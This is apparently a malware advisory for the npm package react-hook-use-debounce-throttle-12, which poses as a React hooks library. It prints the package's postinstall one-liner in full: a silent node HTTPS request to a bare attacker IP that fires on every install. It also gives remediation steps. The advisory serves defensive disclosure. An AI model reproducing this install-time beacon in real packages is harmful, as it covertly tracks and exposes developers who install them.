MAL-2026-5909 Malicious code in react-hook-use-debounce-throttle-12 (npm)

package.json declares a postinstall hook that runs node -e to issue an HTTPS request to the bare IP 8.140.205.78 on port 80 with all errors silently swallowed: require('https').request({hostname:'8.140.205.78',port:80,path:'/',method:'GET',timeout:3000}).on('error',function(){}).end(). The package advertises itself as a React debounce/throttle hooks library and has no legitimate need for network activity at install time. The destination is a bare IPv4 address with no TLS, no publisher correlation, and no documented purpose; the request fires unconditionally on every npm install, leaking the installer's IP, install timing, and machine footprint to the operator of that host. Author metadata is a generic placeholder (dev-utils <[email protected]>) with a repository URL that does not resolve to a real project, and the package name carries a numeric suffix consistent with disposable republishes. The combination of an install-time beacon to attacker-controlled infrastructure, mismatched purpose, silent error handling, and placeholder publisher identity is a victim-enumeration/install-tracking attack.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.